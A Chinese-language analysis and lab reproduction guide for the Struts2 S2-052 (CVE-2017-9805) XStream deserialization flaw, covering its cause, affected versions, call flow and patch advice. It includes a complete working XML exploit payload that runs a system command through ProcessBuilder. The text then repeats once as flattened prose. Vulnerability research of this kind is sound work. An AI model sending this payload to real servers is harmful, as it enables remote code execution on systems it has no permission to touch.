Struts2-052漏洞分析
字数 1341 2025-08-18 11:38:48

Struts2-052 (CVE-2017-9805) 漏洞分析与复现指南

1. 漏洞概述

漏洞编号: CVE-2017-9805 (S2-052)
发现时间: 2017年9月5日
发现组织: lgtm.com安全研究团队
漏洞类型: 远程代码执行(RCE)
CVSS评分: 9.8 (Critical)

2. 漏洞原理

该漏洞存在于Apache Struts2的REST插件中,具体原因是:

  1. XStream组件反序列化缺陷:Struts2 REST插件的XStream组件在处理XML格式数据时存在不安全反序列化
  2. 缺乏输入验证:对传入的XML数据内容未进行有效验证
  3. 恶意数据包执行:攻击者可构造特殊的XML数据包实现远程命令执行

3. 影响范围

  • Struts 2.1.2 - Struts 2.3.33
  • Struts 2.5 - Struts 2.5.12

4. 利用条件

  • 目标系统使用了Struts2的REST插件
  • 目标系统运行在受影响版本范围内
  • 攻击者能够向目标发送特制的HTTP请求

5. 环境搭建

5.1 获取源码

git clone https://github.com/apache/Struts.git
git checkout STRUTS_2_5_12

5.2 创建调试项目

  1. 从源码包中复制src/apps/rest-showcase文件夹
  2. 使用IDEA或Eclipse导入该Maven项目
  3. 以debug模式运行项目

6. 漏洞分析

6.1 关键类分析

XStreamHandler类 (位于struts2-rest-plugin-2.5.12.jar中)

public class XStreamHandler implements ContentTypeHandler {
    public Object toObject(Reader reader, Object target) {
        // 漏洞核心:未经验证的反序列化操作
        return xstream.fromXML(reader);
    }
}

6.2 调用流程

  1. ContentTypeInterceptor.intercept():根据Content-Type值选择处理器
  2. XStreamHandler.toObject():处理XML数据
  3. XStream.unmarshal():执行反序列化操作
  4. AbstractReflectionConverter:解析XML标签和值

6.3 漏洞触发点

unmarshal函数执行时,系统未对反序列化的数据进行安全检查,导致恶意代码执行。

7. 漏洞复现

7.1 复现步骤

  1. 访问目标URL: http://localhost:8080/struts2-rest-showcase/orders/3/edit
  2. 拦截HTTP请求
  3. 修改请求:
    • 设置Content-Type为application/xml
    • 替换请求体为恶意XML payload

7.2 恶意Payload示例

<map>
  <entry>
    <jdk.nashorn.internal.objects.NativeString>
      <flags>0</flags>
      <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
        <dataHandler>
          <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
            <is class="javax.crypto.CipherInputStream">
              <cipher class="javax.crypto.NullCipher">
                <initialized>false</initialized>
                <opmode>0</opmode>
                <serviceIterator class="javax.imageio.spi.FilterIterator">
                  <iter class="javax.imageio.spi.FilterIterator">
                    <iter class="java.util.Collections$EmptyIterator"/>
                    <next class="java.lang.ProcessBuilder">
                      <command>
                        <string>/Applications/Calculator.app/Contents/MacOS/Calculator</string>
                      </command>
                      <redirectErrorStream>false</redirectErrorStream>
                    </next>
                  </iter>
                  <filter class="javax.imageio.ImageIO$ContainsFilter">
                    <method>
                      <class>java.lang.ProcessBuilder</class>
                      <name>start</name>
                      <parameter-types/>
                    </method>
                    <name>foo</name>
                  </filter>
                  <next class="string">foo</next>
                </serviceIterator>
                <lock/>
              </cipher>
              <input class="java.lang.ProcessBuilder$NullInputStream"/>
              <ibuffer/>
              <done>false</done>
              <ostart>0</ostart>
              <ofinish>0</ofinish>
              <closed>false</closed>
            </is>
            <consumed>false</consumed>
          </dataSource>
          <transferFlavors/>
        </dataHandler>
        <dataLen>0</dataLen>
      </value>
    </jdk.nashorn.internal.objects.NativeString>
    <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
  </entry>
  <entry>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
  </entry>
</map>

8. 修复方案

8.1 官方补丁

Apache Struts团队通过以下方式修复了该漏洞:

  1. 实现白名单机制:只允许反序列化特定的安全类

    • 基础集合类(Collection, Map等)
    • 基础数据类型
    • 时间类
  2. 版本升级

    • Struts 2.3.34修复了2.3.x系列的问题
    • Struts 2.5.13修复了2.5.x系列的问题

8.2 修复建议

  • 2.3.0-2.3.33版本:升级到Struts 2.3.34
  • 2.5.0-2.5.12版本:升级到Struts 2.5.13
  • 临时缓解措施:禁用REST插件或限制XML请求处理

9. 参考资源

  1. Apache Struts官方公告
  2. CVE-2017-9805详情
  3. XStream安全指南
Struts2-052 (CVE-2017-9805) 漏洞分析与复现指南 1. 漏洞概述 漏洞编号 : CVE-2017-9805 (S2-052) 发现时间 : 2017年9月5日 发现组织 : lgtm.com安全研究团队 漏洞类型 : 远程代码执行(RCE) CVSS评分 : 9.8 (Critical) 2. 漏洞原理 该漏洞存在于Apache Struts2的REST插件中,具体原因是: XStream组件反序列化缺陷 :Struts2 REST插件的XStream组件在处理XML格式数据时存在不安全反序列化 缺乏输入验证 :对传入的XML数据内容未进行有效验证 恶意数据包执行 :攻击者可构造特殊的XML数据包实现远程命令执行 3. 影响范围 Struts 2.1.2 - Struts 2.3.33 Struts 2.5 - Struts 2.5.12 4. 利用条件 目标系统使用了Struts2的REST插件 目标系统运行在受影响版本范围内 攻击者能够向目标发送特制的HTTP请求 5. 环境搭建 5.1 获取源码 5.2 创建调试项目 从源码包中复制 src/apps/rest-showcase 文件夹 使用IDEA或Eclipse导入该Maven项目 以debug模式运行项目 6. 漏洞分析 6.1 关键类分析 XStreamHandler类 (位于struts2-rest-plugin-2.5.12.jar中) 6.2 调用流程 ContentTypeInterceptor.intercept() :根据Content-Type值选择处理器 XStreamHandler.toObject() :处理XML数据 XStream.unmarshal() :执行反序列化操作 AbstractReflectionConverter :解析XML标签和值 6.3 漏洞触发点 在 unmarshal 函数执行时,系统未对反序列化的数据进行安全检查,导致恶意代码执行。 7. 漏洞复现 7.1 复现步骤 访问目标URL: http://localhost:8080/struts2-rest-showcase/orders/3/edit 拦截HTTP请求 修改请求: 设置Content-Type为 application/xml 替换请求体为恶意XML payload 7.2 恶意Payload示例 8. 修复方案 8.1 官方补丁 Apache Struts团队通过以下方式修复了该漏洞: 实现白名单机制 :只允许反序列化特定的安全类 基础集合类(Collection, Map等) 基础数据类型 时间类 版本升级 : Struts 2.3.34修复了2.3.x系列的问题 Struts 2.5.13修复了2.5.x系列的问题 8.2 修复建议 2.3.0-2.3.33版本 :升级到Struts 2.3.34 2.5.0-2.5.12版本 :升级到Struts 2.5.13 临时缓解措施 :禁用REST插件或限制XML请求处理 9. 参考资源 Apache Struts官方公告 CVE-2017-9805详情 XStream安全指南